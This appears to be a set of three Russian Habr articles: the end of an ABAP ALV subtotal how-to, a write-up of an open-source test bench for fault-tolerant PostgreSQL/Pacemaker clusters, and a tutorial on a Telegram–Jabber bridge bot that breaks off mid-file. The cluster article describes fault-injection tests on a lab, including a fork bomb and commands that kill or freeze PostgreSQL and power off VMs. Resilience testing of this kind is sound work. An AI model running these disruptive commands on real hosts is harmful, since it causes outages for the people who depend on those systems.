3.б.II. Если сортировка по дебитору есть в таблице, но не на первом уровне, то увеличиваем все уровни сортировок меньшие уровня дебитора на +1, и меняем уровень сортировки дебитора на 1;
4. Устанавливаем верные критерии сортировки: go\_alv\_grid->set\_sort\_criteria( lt\_sort );
5. Далее запускаем обновление ALV с пересчетом сумм (здесь надо быть аккуратнее, что бы не запустить бесконечную рекурсию, т.к. событие AFTER\_REFRESH отработает еще раз);
6. Событие отработает 2-ой раз, но критерии сортировки будут верными, и запустится заполнение строк сабтотала (кстати тут проблема — необходимо сделать проверку, на случай если установлены верные суммы, что бы программа не зависла из-за бесконечной рекурсии, т.к. после изменения сумм нам нужно запустить мягкое обновление ALV).
Профит! Получаем похвалу от начальства и консультанта! Как бы пользователь не мучил ALV, на первом уровне сортировки всегда будет дебитор, для него всегда будет строка подсуммировки с нужными значениями.
Осталась только одна проблема — изменять данные вручную пользователь до сих пор не может. А хочет. Но, пообщавшись с консультантом, решили отлавливать даблклик по такой строке и выкидывать окошко с полями ввода, которые заполнит пользователь, нажмет Enter и они попадут в необходимые поля в таблице. Возникает вопрос, как строку подсуммировки отличить от обычной? Ответ: да легко конечно! Что вообще за глупые вопросы? В событии DOUBLE\_CLICK есть отличный параметр: is\_row-rowtype. Он пустой в обычных строках, и заполнен в служебных. Заполнен он обычно строкой такого типа:
```
S 0101 0000000001
```
Экспериментальным путем выяснилось, что S — строка подсуммировки (есть еще значение T — итоговая строка сумм), 0101 — уровень сортировки (по крайней мере последние 2 цифры). Второе поле структуры is\_row (index) содержит номер строки таблицы сумм необходимого уровня. Вся информация есть! Действуем:
1. Проверяем, что пользователь кликнул по сабтоталу;
2. Получаем таблицу сумм первого уровня: go\_alv\_grid->get\_subtotals;
3. Читаем необходимую строку sub\_total\_tab[ is\_row-index ];
4. Показываем пользователю окно с полями ввода (вставляем в них текущие значения строки);
5. Получаем пользовательские данные;
6. Вставляем пользовательские данные в нашу строку;
7. Мягко обновляем ALV.
Ну вот вроде и все! Все довольны, все работает! Ну по крайней мере у меня, пока консультант в отпуске и еще не проверял. | https://habr.com/ru/post/270197/ | null | ru | null |
# Моделирование отказоустойчивых кластеров на базе PostgreSQL и Pacemaker
Введение
========
Некоторое время назад передо мной поставили задачу разработать отказоустойчивый кластер для [PostgreSQL](https://www.postgresql.org), работающий в нескольких дата-центрах, объединенных оптоволокном в рамках одного города, и способный выдержать отказ (например, обесточивание) одного дата-центра. В качестве софта, который отвечает за отказоустойчивость, выбрал [Pacemaker](https://clusterlabs.org), потому что это официальное решение от RedHat для создания отказоустойчивых кластеров. Оно хорошо тем, что RedHat обеспечивает его поддержку, и тем, что это решение универсальное (модульное). С его помощью можно будет обеспечить отказоустойчивость не только PostgreSQL, но и других сервисов, либо используя стандартные модули, либо создавая их под конкретные нужды.
К этому решению возник резонный вопрос: насколько отказоустойчивым будет отказоустойчивый кластер? Чтобы это исследовать, я разработал тестовый стенд, который имитирует различные отказы на узлах кластера, ожидает восстановления работоспособности, восстанавливает отказавший узел и продолжает тестирование в цикле. Изначально этот проект назывался hapgsql, но со временем мне наскучило название, в котором только одна гласная. Поэтому отказоустойчивые базы данных (и float IP, на них указывающие) я стал именовать **krogan** (персонаж из компьютерной игры, у которого все важные органы дублированы), а узлы, кластеры и сам проект — **tuchanka** (планета, где живут кроганы).
Сейчас руководство разрешило [открыть проект для open source-сообщества под лицензией MIT](https://github.com/domclick/tuchanka). README в скором времени будет переведен на английский язык (потому что ожидается, что основными потребителями будут разработчики Pacemaker и PostgreSQL), а старый русский вариант README я решил оформить (частично) в виде этой статьи.
Кластеры разворачиваются на виртуалках [VirtualBox](https://www.virtualbox.org). Всего будет развернуто 12 виртуалок (суммарно 36GiB), которые образуют 4 отказоустойчивых кластера (разные варианты). Первые два кластера состоят из двух серверов PostgreSQL, которые размещены в разных дата-центрах, и общего сервера *witness* c **quorum device** (размещенный на дешёвой виртуалке в третьем дата-центре), который разрешает неопределенность **50%/50%**, отдавая свой голос одной из сторон. Третий кластер в трех дата-центрах: один мастер, два раба, без **quorum device**. Четвертый кластер состоит из четырех серверов PostgreSQL, по два на дата-центр: один мастер, остальные реплики, и тоже использует *witness* c **quorum device**. Четвертый выдерживает отказ двух серверов или одного дата-центра. Это решение может быть, при необходимости, масштабировано на большее количество реплик.
Сервис точного времени [ntpd](https://www.ntp.org) тоже перенастроен для отказоустойчивости, но там используются метод самого `ntpd` (*orphan mode*). Общий сервер *witness* выполняет роль центрального NTP-сервера, раздавая своё время всем кластерам, тем самым синхронизируя все серверы между собой. Если *witness* выйдет из строя или окажется изолированным, тогда своё время начнет раздавать один из серверов кластера (внутри кластера). Вспомогательный кэширующий **HTTP proxy** тоже поднят на *witness*, с его помощью остальные виртуалки имеют доступ к Yum-репозиториям. В реальности такие сервисы, как точное время и прокси, наверняка будут размещены на выделенных серверах, а в стенде они размещены на *witness* только для экономии количества виртуалок и места.
Версии
======
v0. Работает с CentOS 7 и PostgreSQL 11 на VirtualBox 6.1.
Структура кластеров
===================
Все кластеры предназначены для размещения в нескольких дата-центрах, объединены в одну плоскую сеть и должны выдерживать отказ или сетевую изоляцию одного дата-центра. Поэтому **невозможно** использовать для защиты от **split-brain** стандартную технологию Pacemaker, которая называется *STONITH* (Shoot The Other Node In The Head) или *fencing*. Её суть: если узлы в кластере начинают подозревать, что с каким-то узлом происходит неладное, он не отвечает или некорректно себя ведёт, то они принудительно его отключают через «внешние» устройства, например, управляющую карточку IPMI или UPS. Но такое сработает только в случаях, когда при единичном отказе сервера IPMI или UPS продолжают работать. Здесь же планируется защита от гораздо более катастрофичного отказа, когда отказывает (например обесточивается) весь дата-центр. А при таком отказе все *stonith*-устройства (IPMI, UPS и т.д.) тоже не будут работать.
Вместо этого в основе системы лежит идея кворума. Все узлы имеют голос, и работать могут только те, которые видят больше половины всех узлов. Это количество «половина+1» называется **кворум**. Если кворум не набирается, то узел решает, что он находится в сетевой изоляции и должен отключить свои ресурсы, т.е. это такая **защита от split-brain**. Если софт, который отвечает за такое поведение, не работает, то должен будет сработать watchdog, например, на базе IPMI.
Если количество узлов четное (кластер в двух дата-центрах), то может возникнуть так называемая неопределенность **50%/50%** (*фифти-фифти*), когда сетевая изоляция делит кластер ровно пополам. Поэтому для четного количества узлов добавляется **quorum device** — нетребовательный демон, который может быть запущен на самой дешевой виртуалке в третьем дата-центре. Он дает свой голос одному из сегментов (который видит), и тем самым разрешает неопределенность 50%/50%. Сервер, на котором будет запущен quorum device, я назвал *witness* (терминология из repmgr, мне понравилась).
Ресурсы могут переезжать с места на место, например, с неисправных серверов на исправные, или по команде сисадминов. Чтобы клиенты знали, где находятся нужные им ресурсы (куда подключаться?), используются *плавающие IP* (**float IP**). Это IP, которые Pacemaker может перемещать по узлам (всё находится в плоской сети). Каждый из них символизирует ресурс (сервис) и будет находится там, куда надо подключаться, чтобы получить доступ к этому сервису (в нашем случае БД).
Tuchanka1 (схема с уплотнением)
-------------------------------
### Структура
Идея была в том, что у нас есть много мелких баз данных с низкой нагрузкой, для которых невыгодно содержать выделенный slave-сервер в режиме hot standby для read only-транзакций (нет необходимости в такой растрате ресурсов).
В каждом дата-центре по одному серверу. На каждом сервере по два инстанса PostgreSQL (в терминологии PostgreSQL они называются кластерами, но во избежание путаницы я буду их называть инстансами (по аналогии с другими БД), а кластерами буду называть только кластеры Pacemaker). Один инстанс работает в режиме мастера, и только он оказывает услуги (только на него ведет float IP). Второй инстанс работает рабом для второго дата-центра, и будет оказывать услуги только если его мастер выйдет из строя. Поскольку бо̒льшую часть времени оказывать услуги (выполнять запросы) будет только один инстанс из двух (мастер), все ресурсы сервера оптимизируются на мастер (выделяется память под кэш shared\_buffers и т.д.), но так, чтобы на второй инстанс тоже хватило ресурсов (пусть и для неоптимальной работы через кэш файловой системы) на случай отказа одного из дата-центров. Раб не оказывает услуги (не выполняет read only-запросы) при нормальной работе кластера, чтобы не было войны за ресурсы с мастером на той же самой машине.
В случае с двумя узлами отказоустойчивость возможна только при асинхронной репликации, так как при синхронной отказ раба приведёт к остановке мастера.
### Отказ witness
Отказ witness (*quorum device*) я рассмотрю только для кластера Tuchanka1, со всеми остальными будет та же история. При отказе witness в структуре кластера ничего не изменится, всё продолжит работать так же, как и работало. Но кворум станет равен 2 из 3, и поэтому любой следующий отказ станет фатальным для кластера. Всё равно придётся срочно чинить.
### Отказ Tuchanka1
Отказ одного из дата-центров для Tuchanka1. В этом случае *witness* отдает свой голос второму узлу на втором дата-центре. Там бывший раб превращается в мастера, в результате на одном сервере работают оба мастера и на них указывают оба их float IP.
Tuchanka2 (классическая)
------------------------
### Структура
Классическая схема из двух узлов. На одном работает мастер, на втором раб. Оба могут выполнять запросы (раб только read only), поэтому на обоих указывают float IP: krogan2 — на мастер, krogan2s1 — на раба. Отказоустойчивость будет и у мастера, и у раба.
В случае с двумя узлами отказоустойчивость возможна только при асинхронной репликации, потому что при синхронной отказ раба приведёт к остановке мастера.
### Отказ Tuchanka2
При отказе одного из дата-центров *witness* голосует за второй. На единственном работающем дата-центре будет поднят мастер, и на него будут указывать оба float IP: мастерский и рабский. Разумеется, инстанс должен быть настроен таким образом, чтобы у него хватило ресурсов (лимитов под connection и т.д.) одновременно принимать все подключения и запросы от мастерского и рабского float IP. То есть при нормальной работе у него должен быть достаточный запас по лимитам.
Tuchanka4 (много рабов)
-----------------------
### Структура
Уже другая крайность. Бывают БД, на которые идет очень много запросов read-only (типичный случай высоконагруженного сайта). Tuchanka4 — это ситуация, когда рабов может быть три или больше для обработки таких запросов, но всё же не слишком много. При очень большом количестве рабов надо будет изобретать иерархическую систему реплицирования. В минимальном случае (на картинке) в каждом из двух дата-центров находится по два сервера, на каждом из которых по инстансу PostgreSQL.
Еще одной особенностью этой схемы является то, что здесь уже можно организовать одну синхронную репликацию. Она настроена так, чтобы реплицировать, по возможности, в другой дата-центр, а не на реплику в том же дата-центре, где и мастер. На мастер и на каждый раб указывает float IP. По хорошему, между рабами надо будет делать балансировку запросов каким-нибудь *sql proxy*, например, на стороне клиента. Разному типу клиентов может требоваться разный тип *sql proxy*, и только разработчики клиентов знают, кому какой нужен. Эта функциональность может быть реализована как внешним демоном, так и библиотекой клиента (connection pool), и т.д. Всё это выходит за рамки темы отказоустойчивого кластера БД (отказоустойчивость *SQL proxy* можно будет реализовать независимо, вместе с отказоустойчивостью клиента).
### Отказ Tuchanka4
При отказе одного дата-центра (т.е. двух серверов) witness голосует за второй. В результате во втором дата-центре работают два сервера: на одном работает мастер, и на него указывает мастерский float IP (для приема read-write запросов); а на втором сервере работает раб с синхронной репликацией, и на него указывает один из рабских float IP (для read only-запросов).
Первое, что надо отметить: рабочими рабский float IP будут не все, а только один. И для корректной работы с ним нужно будет, чтобы *sql proxy* перенаправлял все запросы на единственно оставшийся float IP; а если *sql proxy* нет, то можно перечислить все float IP рабов через запятую в URL для подключения. В таком случае с *libpq* подключение будет к первому рабочему IP, так сделано в системе автоматического тестирования. Возможно, в других библиотеках, например, JDBC, так работать не будет и необходим *sql proxy*. Так сделано потому, что у float IP для рабов стоит запрет одновременно подниматься на одном сервере, чтобы они равномерно распределялись по рабским серверам, если их работает несколько.
Второе: даже в случае отказа дата-центра будет сохраняться синхронная репликация. И даже если произойдёт вторичный отказ, то есть в оставшемся дата-центре выйдет из строя один из двух серверов, кластер хоть и перестанет оказывать услуги, но всё же сохранит информацию обо всех закоммиченных транзакциях, на которые он дал подтверждение о коммите (не будет потери информации при вторичном отказе).
Tuchanka3 (3 дата-центра)
-------------------------
### Структура
Это кластер для ситуации, когда есть три полноценно работающих дата-центра, в каждом из которых есть полноценно работающий сервер БД. В этом случае *quorum device* не нужен. В одном дата-центре работает мастер, в двух других — рабы. Репликация синхронная, типа ANY (slave1, slave2), то есть клиенту будет приходить подтверждение коммита, когда любой из рабов первым ответит, что он принял коммит. На ресурсы указывает один float IP для мастера и два для рабов. В отличие от Tuchanka4 все три float IP отказоустойчивы. Для балансировки read-only SQL-запросов можно использовать *sql proxy* (с отдельной отказоустойчивостью), либо половине клиентов назначить один рабский float IP, а другой половине — второй.
### Отказ Tuchanka3
При отказе одного из дата-центров остаются два. В одном поднят мастер и float IP от мастера, во втором — раб и оба рабских float IP (на инстансе должен быть двукратный запас по ресурсам, чтобы принять все подключения с обоих рабских float IP). Между мастеров и рабом синхронная репликация. Также кластер сохранит информацию о закоммиченных и подтвержденных транзакциях (не будет потери информации) в случае уничтожения двух дата-центров (если они уничтожены не одновременно).
*Подробное описание файловой структуры и развертывания я решил не вставлять. Кто захочет поиграться, можете всё это прочитать в README. Я привожу только описание автоматического тестирования.*
Система автоматического тестирования
====================================
Для проверки отказоустойчивости кластеров с имитацией различных неисправностей сделана система автоматического тестирования. Запускается скриптом `test/failure`. Скрипт может принимать в качестве параметров номера кластеров, которые хочется потестировать. Например, эта команда:
```
test/failure 2 3
```
будет тестировать только второй и третий кластер. Если параметры не указаны, то тестироваться будут все кластеры. Все кластеры тестируются параллельно, а результат выводится в панели tmux. Tmux использует выделенный tmux сервер, поэтому скрипт можно запускать из-под default tmux, получится вложенный tmux. Рекомендую применять терминал в большом окне и с маленьким шрифтом. Перед началом тестирования все виртуалки откатываются на снэпшот на момент завершения скрипта `setup`.
Терминал разбит на колонки по количеству тестируемых кластеров, по умолчанию (на скриншоте) их четыре. Содержимое колонок я распишу на примере Tuchanka2. Панели на скриншоте пронумерованы:
1. Здесь выводится статистика по тестам. Колонки:
* **failure** — название теста (функции в скрипте), который эмулирует неисправность.
* **reaction** — среднее арифметическое время в секундах, за которое кластер восстановил свою работоспособность. Замеряется от начала работы скрипта, эмулирующего неисправность, и до момента, когда кластер восстанавливает свою работоспособность и способен продолжать оказывать услуги. Если время очень маленькое, например, шесть секунд (так бывает в кластерах с несколькими рабами (Tuchanka3 и Tuchanka4)), это означает, что неисправность оказалась на асинхронном рабе и никак не повлияла на работоспособность, переключений состояния кластера не было.
* **deviation** — показывает разброс (точность) значения **reaction** методом «стандартная девиация».
* **count** — сколько раз был выполнен этот тест.
2. Краткий журнал позволяет оценить, чем занимается кластер в текущий момент. Выводится номер итерации (теста), временна̒я метка и название операции. Слишком долгое выполнение (> 5 минут) говорит о какой-то проблеме.
3. **heart** (сердце) — текущее время. Для визуальной оценки работоспособности *мастера* в его таблицу постоянно пишется текущее время с использованием float IP мастера. В случае успеха результат выводится в этой панели.
4. **beat** (пульс) — «текущее время», которое ранее было записано скриптом **heart** в мастер, теперь считывается из *раба* через его float IP. Позволяет визуально оценить работоспособность раба и репликации. В Tuchanka1 нет рабов с float IP (нет рабов, оказывающих услуги), но зато там два инстанса (БД), поэтому здесь будет показываться не **beat**, а **heart** второго инстанса.
5. Мониторинг состояния кластера с помощью утилиты `pcs mon`. Показывает структуру, распределение ресурсов по узлам и другую полезную информацию.
6. Здесь выводится системный мониторинг с каждой виртуалки кластера. Таких панелей может быть и больше — сколько виртуалок у кластера. Два графика *CPU Load* (в виртуалках по два процессора), имя виртуалки, *System Load* (названый как Load Average, потому что он усреднен за 5, 10 и 15 минут), данные по процессам и распределение памяти.
7. Трассировка скрипта, выполняющего тестирования. В случае неисправности — внезапного прерывания работы либо бесконечного цикла ожидания — здесь можно будет увидеть причину такого поведения.
Тестирование проводится в два этапа. Сначала скрипт проходит по всем разновидностям тестов, случайным образом выбирая виртуалку, к которой этот тест применить. Затем выполняется бесконечный цикл тестирования, виртуалки и неисправность каждый раз выбираются случайным образом. Внезапное завершение скрипта тестирования (нижняя панель) или бесконечный цикл ожидания чего-либо (> 5 минут время выполнения одной операции, это видно в трассировке) говорит о том, что какой-то из тестов на этом кластере провалился.
Каждый тест состоит из следующих операций:
1. Запуск функции, эмулирующей неисправность.
2. **Ready?** — ожидание восстановления работоспособности кластера (когда оказываются все услуги).
3. Показывается время ожидания восстановления кластера (*reaction*).
4. **Fix** — кластер «чинится». После чего он должен вернуться в полностью работоспособное состояние и готовности к следующей неисправности.
Вот список тестов с описанием, что они делают:
* **ForkBomb**: создает "Out of memory" с помощью форк-бомбы.
* **OutOfSpace**: переполняет винчестер. Но тест, скорее, символичный, при той незначительной нагрузке, которая создаётся при тестировании, при переполнении винчестера отказа PostgreSQL обычно не происходит.
* **Postgres-KILL**: убивает PostgreSQL командой `killall -KILL postgres`.
* **Postgres-STOP**: подвешивает PostgreSQL командой `killall -STOP postgres`.
* **PowerOff**: «обесточивает» виртуалку командой `VBoxManage controlvm "виртуалка" poweroff`.
* **Reset**: перегружает виртуалку командой `VBoxManage controlvm "виртуалка" reset`.
* **SBD-STOP**: подвешивает демон SBD командой `killall -STOP sbd`.
* **ShutDown**: через SSH посылает на виртуалку команду `systemctl poweroff`, система корректно завершает работу.
* **UnLink**: сетевая изоляция, команда `VBoxManage controlvm "виртуалка" setlinkstate1 off`.
Завершение тестирование либо с помощью стандартной командой tmux "kill-window" **Ctrl-b &**, либо командой "detach-client" **Ctrl-b d**: при этом тестирование завершается, tmux закрывается, виртуалки выключаются.
Выявленные при тестировании проблемы
====================================
* На текущий момент *watchdog демон sbd* отрабатывает остановку наблюдаемых демонов, но не их зависание. И, как следствие, некорректно отрабатываются неисправности, приводящие к зависанию только *Corosync* и *Pacemaker*, но при этом не подвешивающие *sbd*. Для проверки *Corosync* уже есть [**PR#83** (в GitHub у *sbd*)](https://github.com/ClusterLabs/sbd/pull/83), принят в ветку *master*. Обещали (в PR#83), что и для Pacemaker будет что-то подобное, надеюсь, что к *RedHat 8* сделают. Но подобные «неисправности» умозрительные, легко имитируются искусственно с помощью, например, `killall -STOP corosync`, но никогда не встречаются в реальной жизни.
* У *Pacemaker* в версии для *CentOS 7* неправильно выставлен *sync\_timeout* у *quorum device*, в результате [при отказе одного узла с некоторой вероятностью перезагружался и второй узел](https://lists.clusterlabs.org/pipermail/users/2019-August/026145.html), на который должен был переехать мастер. Вылечилось увеличением *sync\_timeout* у *quorum device* во время развертывания (в скрипте `setup/setup1`). Эта поправка не была принята разработчиками *Pacemaker*, вместо этого они пообещали переработать инфраструктуру таким образом (в некотором неопределенном будущем), чтобы этот таймаут вычислялся автоматически.
* Если при конфигурировании базы данных указано, что в `LC_MESSAGES` (текстовые сообщения) может использоваться Юникод, например, `ru_RU.UTF-8`, то при запуске *postgres* в окружении, где locale не UTF-8, допустим, в пустом окружении (здесь *pacemaker*+*pgsqlms*(paf) запускает *postgres*), то [в логе вместо букв UTF-8 будут знаки вопроса](https://www.postgresql.org/message-id/13FE0F7C-5140-499C-8C2E-0BE64BC3A48B%40ya.ru). Разработчики PostgreSQL так и не договорились, что делать в этом случае. Это обходится, нужно ставить `LC_MESSAGES=en_US.UTF-8` при конфигурировании (создании) инстанса БД.
* Если выставлен wal\_receiver\_timeout (по умолчанию он 60s), то при тесте PostgreSQL-STOP на мастере в кластерах tuchanka3 и tuchanka4 [не происходит переподключение репликации к новому мастеру](https://www.postgresql.org/message-id/60590EC6-4062-4F25-A49C-3948ED2A7D47%40ya.ru). Репликация там синхронная, поэтому останавливается не только раб, но и новый мастер. Обходится установкой wal\_receiver\_timeout=0 при настройке PostgreSQL.
* Изредко наблюдал подвисание репликации у PostgreSQL в тесте ForkBomb (переполнение памяти). [После ForkBomb иногда рабы могут не переподключаться к новому мастеру](https://www.postgresql.org/message-id/60590EC6-4062-4F25-A49C-3948ED2A7D47%40ya.ru). Я встречал такое лишь в кластерах tuchanka3 и tuchanka4, где из-за того, что репликация синхронная, подвисал мастер. Проблема проходила сама, спустя какое-то длительное время (порядка двух часов). Требуется дополнительное исследование, чтобы это исправить. По симптомам похоже на предыдущий баг, который вызывается другой причиной, но с одинаковыми последствиями.
Картинка крогана взята с [Deviant Art](http://fav.me/d8fo42n) c разрешения автора:
 | https://habr.com/ru/post/516538/ | null | ru | null |
# Транспорт-бот Jabber конференций для Telegram
Доброго времени суток.
В один прекрасный день, после значительного перерыва, судьба вновь столкнула меня с jabber-конференциями. Правда, среди знакомых jabber уже никто не использует, 2007 год канул в лету, а основным средством общения стал Telegram. Поддержка XMPP на мобильных устройствах оставляла желать лучшего — клиенты на Android хороши каждый в чём-то одном, с iOS и WP всё мягко скажем, не очень. И особенности протокола тоже сказываются на автономности. Поэтому возникла мысль: а не сделать ли бота, которой будет транслировать сообщения из конференций в чат Telegram?
В качестве инструментов использовались:
* Python 3.5
* [aiohttp](http://aiohttp.readthedocs.io/en/stable/) для API Telegram
* [slixmpp](https://slixmpp.readthedocs.io/) для xmpp
* [gunicorn](http://gunicorn.org/) как wsgi сервер
* [nginx](https://nginx.org/) как фронтенд и прокси для gunicorn
* [VS Code](https://code.visualstudio.com/) в качестве IDE
Основные возможности и зависимости
----------------------------------
Из готовых реализаций удалось найти только [jabbergram](http://daemons.cf/cgit/jabbergram/about/), но он позволяет работать только с одним юзером. Ещё есть реализация на Go, с которым опыта работы не было, так что этот вариант не рассматривался и о функционале не могу ничего сказать.
Выбор библиотек обусловлен, в основном, желанием поработать с asyncio.
Изначально разрабатывалась версия с tet-a-tet диалогом для одного пользователя, которая позднее была расширена использованием [XMPP Components](https://xmpp.org/extensions/xep-0114.html) для групповых чатов, с отдельным xmpp-юзером для каждого участника.
Бот настроен так, что добавить его в чат с иным пользователем невозможно, поэтому как универсальную реализацию рассматривать нельзя.
Почему так сделано? API ботов весьма ограничивает количество входящих/исходящих запросов за короткое время, и при достаточно интенсивном обмене сообщениями будут возникать ошибки.
Что есть в целом:
* Отправка/приём текстовых сообщений в общем диалоге
* Двусторонее редактирование сообщений ([XEP-0308](https://xmpp.org/extensions/xep-0308.html))
* Приватные сообщения
* Ответ по нику собеседника
* Файлы, аудио, изображения (загружаются через сторонний сервис)
* Стикеры (заменяются на emoji)
* Автостатус при неактивности с последнего сообщения
* Смена ника в конференции
Тем не менее, есть различия между двумя версиями:
* «Подсветка» сообщений с ником пользователя не работает в групповых чатах, так как в телеграме невозможно это сделать индивидуально
* Бот делает групповой чат в телеграмм бесшовным, т.е., если участника забанили в xmpp-конференции, он не может писать сообщения в чат
При разработке удобно использовать виртуальные окружения, так что можно создать одно:
```
$ python3.5 -m venv venv
$ . venv/bin/activate
```
Для использования нужно установить из pip aiohttp, slixmpp и ujson. При желании можно добавить gunicorn. С окружением или без, все пакеты есть в PyPI:
```
$ pip3 install aiohttp slixmpp ujson
```
[В конце поста](#srclink) есть ссылки на bitbucket репозитории с исходниками.
История telegram
----------------
Прежде стоит отметить, что готовые фреймворки для API Telegram не использовались по ряду причин:
* На момент начала работы asyncio поддерживал только aiotg. Сейчас, кажется, все популярные
* Вебхуки часто реализованы как добавка к лонг пуллу и в любом случае приходится использовать библиотеку для обработки входящих соединений
* В целом, многие возможности библиотек были просто не нужны
* *Ну или просто NIH*
Так что была сделана простенькая обёртка над основными объектами и методами [bots api](https://core.telegram.org/bots/api), запросы отправляются с помощью [requests](http://docs.python-requests.org/en/master/), json парсится [ujson](https://github.com/esnme/ultrajson), потому что быстрее.
Настройка бота осуществляется посредством скрипта-конфига:
**config.py**
```
VERSION = "0.1"
TG_WH_URL = "https://yourdomain.tld/path/123456"
TG_TOKEN = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
TG_CHAT_ID = 12345678
XMPP_JID = "jid@domain.tld"
XMPP_PASS = "yourpassword"
XMPP_MUC = "muc@conference.domain.tld"
XMPP_NICK = "nickname"
DB_FILENAME = "bot.db"
LOG_FILENAME = "bot.log"
ISIDA_NICK = "IsidaBot" # для фильтрации сообщений с заголовками ссылок от xmpp бота
UPLOADER_URL = "example.com/upload" # загрузчик файлов
# для групповых чатов нет XMPP_JID/XMPP_PASS/XMPP_NICK и используются дополнительно иные параметры:
# TG_INVITE_URL = "https://telegram.me/joinchat/ABCDefGHblahblah" # ссылка на групповой чат
# COMPONENT_JID = "tg.xmpp.domain.tld"
# COMPONENT_PASS = "password"
# XMPP_HOST = "xmpp.domain.tld"
# XMPP_PORT = 5347
```
Представление объектов выглядит примерно так:
**mapping.py**
```
class User(object):
def __str__(self):
return ''.format(self.id, self.first\_name, self.last\_name, self.username)
def \_\_init\_\_(self, obj):
self.id = obj.get('id')
self.first\_name = obj.get('first\_name')
self.last\_name = obj.get('last\_name')
self.username = obj.get('username')
```
Класс бота для выполнения запросов:
**bind.py**
```
class Bot(object):
def _post(self, method, payload=None):
r = requests.post(self.__apiUrl + method, payload).text
return ujson.loads(r)
...
def getMe(self):
r = self._post('getMe')
return User(r.get('result')) if r.get('ok') else None
...
@property
def token(self):
return self.__token
...
def __init__(self, token):
self.__token = token
...
```
Все запросы обрабатываются с помощью вебхуков, которые приходят на адрес TG\_WH\_URL.
RequestHandler.handle() — coroutine для обработки запросов aiohttp.
**handler.py**
```
from aiohttp import web
import asyncio
import tgworker as tg # модуль для работы с bots api
import mucbot as mb # модуль с процедурами xmpp
import tinyorm as orm # небольшая обёртка над sqlite3
class RequestHandler(object):
...
async def handle(self, request):
r = await request.text()
try:
...
update = tg.Update(ujson.loads(r))
log.debug("TG Update object: {}".format(ujson.loads(r)))
...
except:
log.error("Unexpected error: {}".format(sys.exc_info()))
...
raise
finally:
return web.Response(status=200)
def __init__(self, db: orm.TableMapper, mucBot: mb.MUCBot, tgBot: tg.Bot, tgChatId, loop):
self.__db = db
self.__tg = tgBot
self.__mb = mucBot
self.__chat_id = tgChatId
self.__loop = loop
...
...
loop = asyncio.get_event_loop()
whHandler = RequestHandler(db, mucBot, tgBot, TG_CHAT_ID, loop)
app = web.Application(loop=loop)
app.router.add_route('POST', '/', whHandler.handle)
...
```
В процессе обработки текстовые сообщения отправляются в конференцию. Либо как приватное сообщение, если это ответ на приватное сообщение или при ответе добавлена команда /pm.
Файлы перед отправкой загружаются на сторонний сервер и в конференцию отправляется ссылка на файл. Скорее всего, для общего использования такой подход не подойдёт и придётся сделать загрузку на Imgur или другой сервис, который предоставляет API. Сейчас же файлы просто отправляются на сервер jTalk. С позволения разработчика, конечно. Но, так как это всё-таки для личного пользования, то адрес вынесен в конфиг.
Стикеры просто заменяются на их emoji-представление.
Опус о xmpp
-----------
В своё время для python было две весьма популярных библиотеки — SleekXMPP и xmpppy. Вторая уже устарела и не поддерживается, а асинхронность SleekXMPP реализована потоками. Из библиотек, которые поддерживают работу с asyncio есть [aioxmpp](https://github.com/horazont/aioxmpp) и [slixmpp](https://slixmpp.readthedocs.io/).
Aioxmpp пока весьма сырая и у неё нет исчерпывающей документации. Тем не менее, первая версия бота использовала aioxmpp, но потом переписана для slixmpp.
Slixmpp — это SleekXMPP на asyncio, интерфейс там такой же, соответственно, большинство плагинов будут работать. Она используется в консольном jabber-клиенте [Poezio](http://poez.io/).
К тому же, у slixmpp замечательная поддержка, которая помогла решить некоторые проблемы с библиотекой.
Однопользовательская версия использует slixmpp.ClientXMPP в качестве базового класса, когда как многопользовательская — slixmpp.ComponentXMPP
Обработчик событий XMPP выглядит примерно вот так:
**mucbot.py**
```
import slixmpp as sx
class MUCBot(sx.ClientXMPP):
# class MUCBot(sx.ComponentXMPP): # версия для групповых чатов
...
#
# Event handlers
#
def _sessionStart(self, event):
self.get_roster()
self.send_presence(ptype='available')
self.plugin['xep_0045'].joinMUC(self.__mucjid, self.__nick, wait=True)
# для групповых чатов необходимо подключить всех пользователей
...
#
# Message handler
#
def _message(self, msg: sx.Message):
log.debug("Got message: {}".format(str(msg).replace('\n', ' ')))
...
#
# Presence handler
#
def _presence(self, presence: sx.Presence):
log.debug("Got Presence {}".format(str(presence).replace('\n', ' ')))
...
#
# Initialization
#
def __init__(self, db, tgBot, tgChatId, jid, password, mucjid, nick):
super().__init__(jid, password)
self.__jid = sx.JID(jid)
self.__mucjid = sx.JID(mucjid)
self.__nick = nick
self.__tg = tgBot
self.__db = db
self.__chat_id = tgChatId
...
# настройка плагинов поддержки разных XEP
self.register_plugin('xep_XXXX') # Service Discovery
...
# подписка на события xmlstream
self.add_event_handler("session_start", self._sessionStart)
self.add_event_handler("message", self._message)
self.add_event_handler("muc::{}::presence".format(mucjid), self._presence)
...
```
Очевидно, обязательным будет подключить XEP-0045 для MUC, еще полезным будет XEP-0199 для пингов и XEP-0092, чтобы показывать ~~всем какие мы классные~~ свою версию.
Сообщения из xmpp просто отправляются в чат с пользователя (или групповой чат) с TG\_CHAT\_ID из конфига.
### Настройка XMPP-сервера для работы с компонентами
Интересная особенность — это использование компонентов xmpp для динамического создания пользователей. При этом не надо создавать отдельный объект для каждого пользователя и хранить данные для авторизации. Минус в том, что не получится использовать свой основной аккаунт.
Из соображений лёгкости и простоты выбран Prosody в качестве xmpp-сервера.
Описывать конфигурацию не буду, единственное отличие от шаблонна — включение компонента (COMPONENT\_JID из конфига бота):
```
Component "tg.xmpp.domain.tld"
component_secret = "password"
```
[конфигурация Prosody](https://bitbucket.org/snippets/gudvinr/yjypz)
В общем-то, это вся настройка xmpp. Остаётся только перезапустить prosody.
Сказ о gunicorn и nginx
-----------------------
Если так совпало, что у вас по счастливой случайности наружу смотрит nginx, стоит добавить директиву в секцию server.
**nginx.cfg**
```
location /path/to/123456 {
error_log /path/to/www/logs/bot_error.log;
access_log /path/to/www/logs/bot_access.log;
alias /path/to/www/bot/public;
proxy_pass http://unix:/path/to/www/bot/bot.sock:/;
}
```
Настройку HTTPS описывать, думаю, не стоит, но сертификаты получались через [letsencrypt](https://letsencrypt.org).
Конфигурацию для примера брал из [этого комментария](https://habrahabr.ru/post/272253/#comment_8678129). Полный конфиг можно посмотреть [здесь](https://bitbucket.org/snippets/gudvinr/b4MXp), параметры для шифрования подбирались в [Mozilla SSL Generator](https://mozilla.github.io/server-side-tls/ssl-config-generator/)
Вся эта конструкция ~~из… палок~~ работает на VPS с Debian 8.5, так что для systemd написан сервис, который запускает gunicorn:
**bot.service**`[Unit]
After=network.target
[Service]
PIDFile=/path/to/www/bot/bot.pid
